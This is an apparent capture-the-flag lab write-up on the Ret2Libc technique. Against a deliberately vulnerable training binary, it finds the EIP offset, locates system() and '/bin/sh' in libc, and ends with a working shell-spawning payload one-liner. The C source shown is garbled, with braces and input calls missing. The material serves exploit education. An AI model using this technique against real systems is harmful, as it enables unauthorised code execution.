in ctf tutorial exploit


In this lab we must use a common technique used in exploit challenges called Ret2Libc. This technique involves redirecting code execution to execute functions that are found in the libc library. As you can see in the code snippet below there is no "win" function. The objective of this challenge is to gain a shell. But how can we do that?

#include <stdlib.h>
#include <stdio.h>

/* gcc -fno-stack-protector -o lab lab.c */

char global_str[128];

/* reads a string, copies it to a global */
void copytoglobal()
    char buffer[128] = {0};
    memcpy(global_str, buffer, 128);

int main()
    char buffer[128] = {0};

    printf("I included libc for you...\n"\
           "Can you ROP to system()?\n");


    return EXIT_SUCCESS;

Step 1 get control of EIP:
Use pattern_create in PEDA to create a string to pass to the program and easily find the offset of EIP and the buffer.

gdb-peda$ pattern_create 280
I included libc for you...
Can you ROP to system()?

Program received signal SIGSEGV, Segmentation fault.
EAX: 0x20 (' ')
EBX: 0x41416d41 ('AmAA')
ECX: 0x0 
ESI: 0x6e414152 ('RAAn')
EDI: 0x41534141 ('AASA')
EBP: 0x41416f41 ('AoAA')
EIP: 0x70414154 ('TAAp')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
Invalid $PC address: 0x70414154
0000| 0xbffff660 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%I")
0004| 0xbffff664 ("AqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%I")
0008| 0xbffff668 ("VAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%I")
0012| 0xbffff66c ("AAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%I")
0016| 0xbffff670 ("AsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%I")
0020| 0xbffff674 ("XAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%I")
0024| 0xbffff678 ("AAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%I")
0028| 0xbffff67c ("AuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%I")
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x70414154 in ?? ()
gdb-peda$ pattern_search 
Registers contain pattern buffer:
EIP+0 found at offset: 156
EBX+0 found at offset: 140
EDI+0 found at offset: 148
EBP+0 found at offset: 152
ESI+0 found at offset: 144
Registers point to pattern buffer:
[EDX] --> offset 0 - size ~128
[ESP] --> offset 160 - size ~120
Pattern buffer found at:
0x0804a060 : offset    0 - size  128 (/levels/lab05/lab5C)
0xb7fd7000 : offset    0 - size  280 (mapped)

We can see that we can control EIP we overflow the buffer with 156 bytes. Now that we have control of EIP we must figure out where to jump. The most common place is to call system()which can be found in Libc. To find the address in system we can use gdb.

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e63190 <__libc_system>

Address of system : 0xb7e63190

Now that we know where system is we must determine what to pass into system. To get a shell we can pass in the string "/bin/sh". We can also use gdb to find where that string is located.

gdb-peda$ find "/bin/sh"
Searching for /bin/sh in: None ranges
Not found
gdb-peda$ start
EAX: 0x1 
EBX: 0xb7fcd000 --> 0x1a9da8 
ECX: 0xce8d99e4 
EDX: 0xbffff724 --> 0xb7fcd000 --> 0x1a9da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff6f8 --> 0x0 
ESP: 0xbffff6f0 --> 0xb7fcd000 --> 0x1a9da8 
EIP: 0x80486c5 (<main+5>:	and    esp,0xfffffff0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
   0x80486c1 <main+1>:	mov    ebp,esp
   0x80486c3 <main+3>:	push   edi
   0x80486c4 <main+4>:	push   ebx
=> 0x80486c5 <main+5>:	and    esp,0xfffffff0
   0x80486c8 <main+8>:	sub    esp,0x90
   0x80486ce <main+14>:	lea    ebx,[esp+0x10]
   0x80486d2 <main+18>:	mov    eax,0x0
   0x80486d7 <main+23>:	mov    edx,0x20
0000| 0xbffff6f0 --> 0xb7fcd000 --> 0x1a9da8 
0004| 0xbffff6f4 --> 0x0 
0008| 0xbffff6f8 --> 0x0 
0012| 0xbffff6fc --> 0xb7e3ca83 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
0016| 0xbffff700 --> 0x1 
0020| 0xbffff704 --> 0xbffff794 --> 0xbffff8b1 ("/levels/lab05/lab5C")
0024| 0xbffff708 --> 0xbffff79c --> 0xbffff8c5 ("XDG_SESSION_ID=1")
0028| 0xbffff70c --> 0xb7feccea (<call_init+26>:	add    ebx,0x12316)
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x080486c5 in main ()
gdb-peda$ find "/bin/sh"
Searching for /bin/sh in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f83a24 ("/bin/sh") 

One thing to note is that when we try to use find before the binary has started we can not find the string.

Address of /bin/sh: 0xb7f83a24

Now that we control EIP and have the address of both system and /bin/sh we can use what we learned in the previous post to call system with the argument "/bin/sh".

[AAAAAAAAAAAAAAAAAAAAAAA][Addr of System][BBBB][Addr of /bin/sh]

Final exploit:

$ (python -c 'print "A"*156 + "\x90\x31\xe6\xb7"+"BBBB"+ "\x24\x3a\xf8\xb7"';cat) | ./lab5C 
I included libc for you...
Can you ROP to system()?
lab5A  lab5A.c	lab5B  lab5B.c	lab5C  lab5C.c